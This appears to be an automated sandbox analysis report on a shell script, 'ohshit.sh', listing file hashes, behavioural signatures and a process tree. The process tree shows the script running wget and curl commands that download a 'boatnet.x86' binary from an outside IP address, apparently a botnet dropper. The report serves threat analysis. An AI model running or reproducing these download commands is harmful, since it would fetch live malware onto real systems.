Analysis

  • max time kernel
    149s
  • max time network
    99s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-02-2025 16:28

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    f0977aee35c9bf421f707b9bfba5d9f7

  • SHA1

    5eacb3c68403f8f9c853f41914f27d5abc8645f5

  • SHA256

    f3e6052d4142e5a195e03e65d4a8acd2b7d6e790b6aacbc690ae909e7edb01f6

  • SHA512

    3184f088b0188b537c6a9ba0aa037c586d3267f17a11d4e6fbb65745b21dafbf37506e359dae372993fb6e28a06e3749b0b5a382901ac805cce83988772f53d9

Score
5/10

Malware Config

Signatures

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
      PID:645
      • /usr/bin/wget
        wget http://194.85.251.9/hiddenbin/boatnet.x86
        2⤵
        • Writes file to tmp directory
        PID:647
      • /usr/bin/curl
        curl -O http://194.85.251.9/hiddenbin/boatnet.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:722

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /tmp/boatnet.x86

      Filesize

      29KB

      MD5

      8231c76be6663e62d7d5a8ea685ff498

      SHA1

      03177493e6a6d9e3b7aaca572245065ffcfe0575

      SHA256

      c45cbd5ce92e34f62bd3e1e19c36daf662860aac2a22a5d67924788acc71e3bc

      SHA512

      1a8eb5eaf84d38252f4535a2a89aca76fadf7854d218c6bca7ec2521ee485d9bd082e3eeff4ec981abaf0e18afc0eed7415ae656d3080b152fb7b35370caa9ac

    • /tmp/boatnet.x86

      Filesize

      20KB

      MD5

      f457e631805bcc5180e35f86fdfe5bee

      SHA1

      9ba2118cb84740118dcb4c26dea4ae8c1945efdf

      SHA256

      694e7df65ea715d5d28420a3bac184b2472f4eb4acb8926991f03eece31a6fb1

      SHA512

      f8d0ca944786af673caf5ce30dc2278e28ee8ec110052f85e3b418080e563f2d86f18f055f3e087691408ff2afc2c68e67cdd75ad461adaaf87a9c7c7720e3b1